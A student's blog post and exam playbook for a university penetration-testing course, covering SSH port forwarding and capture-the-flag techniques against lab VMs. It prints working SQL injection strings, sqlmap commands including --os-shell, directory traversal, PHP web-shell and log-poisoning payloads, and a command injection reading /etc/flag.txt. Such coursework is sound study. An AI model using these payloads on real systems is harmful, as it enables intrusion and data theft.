Site Logo
Niklas Heringer - Cybersecurity & Math
Cover Image

Test Exam: Penetration Testing Playbook

My semester is coming to an end. The “Penetration Testing” exam will be 120min long, where every participant receives their own virtual machine.

Today here, we will go through test exercises, before the test exam tomorrow, the final test before the exam on July 18th. Let’s lern about Tunneling, have fun and capture some flags!

What is Port Forwarding/ Tunneling?

If someone’s talking about Port Forwarding/ Tunneling, it’s most likely they’re talking about Secure Shell - i wanted to use the long name, since recently in an interview, i forgot what ssh stood for… too many abbreviations in my mind haha.

SSH is as old as time, yet still in use EVERYWHERE. DON’T underestimate old technology, thinking it’s long since gone. But back to the topic

We use Port Forwarding to.. tunnel (hehe that’s the name of the movie) application ports, either from a client machine to a server machine or vice versa. This can help to

Local Forwarding

Here, we forward a port from the client machine to the server machine.

Local Forwarding := starting on your own machine.

We pick a local port, and when you connect via SSH, that port gets tunneled to an SSH server. From there, the server forwards the traffic to a target destination, often a service that’s only accessible inside a private network. This way, you can interact with internal services like databases, internal websites, or even SMB shares as if they were running locally.

This is also tremendously useful if you’re a red teamer and you’ve hacked a machine, now trying to hack other machines from it - except your tools are not installed there..

We will now therefor open a network socket on a local port, which awaits connection attempts. Incoming connections lead to a connection to a remote host - where our exercises are!

Optionalities are in [ ]

ssh -L [LOCAL_IP:]LOCAL_PORT:REMOTE_IP:REMOTE_PORT [user@]sshd_addr

an example for this would be:

ssh -L 80:intra.example.com:80 gw.example.com

Here, we open a connection to the gw.example.com jump server, forwarding any connections that go to port 80 on our local machine TO port 80 on intra.example.com.

If we don’t specify a local adress/ local IP, it is defaulted to localhost:

1
2
3
ssh -L 8080 ....
# same as:
ssh -L localhost:8080 ....

Our local SSH client starts to listen on localhost:8080, and the SSH Tunnel guides traffic towards the specific SSH Server, which then guides us along to resources, services, whatever.

The sshd_addr and REMOTE_IP (remote address) may or may not be the same - we can also have them be different values - then the SSH server is somewhere else in an internal network than the resource we want to access; no problem!

Remote Forwarding: The inverse Version

ssh -R [REMOTE_IP:]REMOTE_PORT:LOCAL_IP:LOCAL_PORT [user@]gateway_addr

In this scenariom we want to (momentarily) expose a local service to the outside world.

The command might look the same, but works a bit different.

For this, we’ll need a public-facing ingress gateway - a public server that will forward traffic to us. By default, this public server will only do so for it’s own localhost as the remote address. To enable beyond that, we need to configure the GatewayPorts yes setting.

This blog post has super nice diagrams to understand everything better, you’ll see that otherwise, Remote Forwarding is just inverse Local Forwarding.

Later, we’ll have to learn ProxyChains, but for now that’s too much i guess.

Going into the exercise

We will now say “Hey, tunnel my local port 8888 to localhost:80 on the remote exercise host i’m SSH-ing into”

ssh -L 8888:localhost:80 user@REMOTE_IP

Image

This gives me a point and the first flag.

Let’s use netstat -tulpn to discover content!

netstat -tulpn

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:40497         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8088          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:25                  :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::5355                 :::*                    LISTEN      -                   
udp        0      0 127.0.0.54:53           0.0.0.0:*                           -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:5355            0.0.0.0:*                           -                   
udp6       0      0 :::5355                 :::*    

Well that looks nice.. 25, 40497, 53555 all look deliciousss…

Now, we need to forward services we want to search through also

ssh -L 88889:localhost:40497 user@REMOTE_IP

# results in 404: Page Not Found

okay, soo..

ssh -L 88889:localhost:5355 user@REMOTE_IP

and then you can begin.


Harsh interruption here. Right after this part i went to Uni and had my test exam. It went awesome, i got all 8/8 flags, BUT some of them took me too long due to errors i could’ve avoided easily. So this part will be an exam playbook for reference.

Exam Playbook

Important wordlist

Our prof said anything we need would be in /usr/share/sqlmap/data/txt/common-files.txt

Multiple Tunnels at the same time

ssh -L 8889:localhost:53 -L 8890:localhost:8008 -L 8891:localhost:8020 guest@$RHOST

Tunnel fuzzing

ffuf -u http://localhost:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt

SQL Injections

Basic Auth Bypass

admin' OR 1=1 -- -

-- starts a comment that runs to end-of-line, yet in most dialects you must have whitespace after those hyphens for the comment to be valid and recognized; the trailing - is just dummy text inside the comment so it isn’t empty

You can also try

user=admin'-- 
pass=irrelevant

What worked in the Exam

1
2
3
4
5
6
POST /lazy-admin/ HTTP/1.1
Host: localhost:8890
Content-Type: application/x-www-form-urlencoded
...

user=Administrator' OR 1=1 -- -&pass=&submit=Login

ofc it was URL-encoded, wrote it here for maximum clarity.

Read Payload

admin' UNION SELECT LOAD_FILE('/etc/flag.txt'), 'b', 'c' -- -

ofc you’ll need an exact column amount for UNION, test it out by adding/ removing columns.

Reading Paths via Errors

q=1' UNION SELECT "<?php echo 'owned'; ?>" , 'hi', 'hi' INTO OUTFILE 'shell.php' -- -&submit=Search users

gave me the error telling me webroot/ path: /var/www/html/db-users/index.php

SQLMap

If you have a query you want to check with SQLMap, e.g.:

POST /db-users/ HTTP/1.1
Host: localhost:8890
Content-Length: 103
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost:8890
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8890/db-users/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

q=1&submit=Search+users

MAKE SURE that the payload is empty, e.g. here just q=1, the parameter with just a placeholder - sqlmap injects itself!

sqlmap commands

sqlmap -r req.txt

# and when an injection worked:
sqlmap -r req.txt --file-read=/etc/flag.txt

sqlmap -r req.txt --dbs

sqlmap -r req.txt -D <database_name> -T <table> --dump

sqlmap -r req.txt --os-shell

Local File Inclusion

Care for Dir Traversal

http://localhost:8891/phish/?page=../../../../../etc/flag.txt

was a central point for me getting a flag here, classical dir traversal.

RCE via Log Poisoning

1
2
3
4
5
6
POST /phish/legit-website.php HTTP/1.1
Host: localhost:8891
...
X-Flag: <?php system($_GET["cmd"]); ?>
...
user=JohnDoe&pass=<?php system($_GET["cmd"]); ?>&submit=Login

Again, you need to encode the payload. FIRST, USE THE SITE AS A USER! I kept the X-Flag poison but no headers where logged, just login credentials and a timestamp.. which i would’ve known to poison directly if i had just directly tried the site like a normal user!!

Checking PHP Code

CAREFULLY read php code if you can! It ALWAYS tells you something, e.g. in the test exam, i came accross a hardcoded md5 hash:

1
2
3
4
5
6
7
...
if (md5($pw) == '084e0343a0486ff05530df6c705c8bb4') {
         echo '<pre>Welcome to the tree house, your flag is ' . $flag . '<pre>';
     } else {
         echo '<pre>Incorrect password</pre>';
     }
...

Command Injection

… via grep

GET /local-user-search/?user=%3b%20cat%20%2fetc%2fflag.txt%202%3e%2fdev%2fnull%3b%23&submit=Search

decoded payload:

; cat /etc/flag.txt 2>/dev/null;#

The key insight: The vulnerable PHP code was:

$cmd = 'grep ' . $_GET['user'] . ' /etc/passwd';
$output = shell_exec($cmd);

Because $_GET['user'] is passed unsanitized into a shell command, I injected my own command using ;.

That’s command injection. Even though it’s a grep call, I exploited the unescaped input to append a separate command (cat /etc/flag.txt).

How to Recognize Command Execution from User Input

Whenever you see PHP or any server-side code doing this:

shell_exec("some-command " . $_GET["param"]);

Look for:

Signs in output:

Result: our flag!

💡 Lesson: Even grep can become a command injection vector if unescaped. Always try ; id, ; cat /etc/passwd, ; ls /, and see if the result returns back to you.

Concluding:

I loved the test exam! It was very helpful to make out my weaknesses - for some of these i took longer than necessary, and i need to focus more.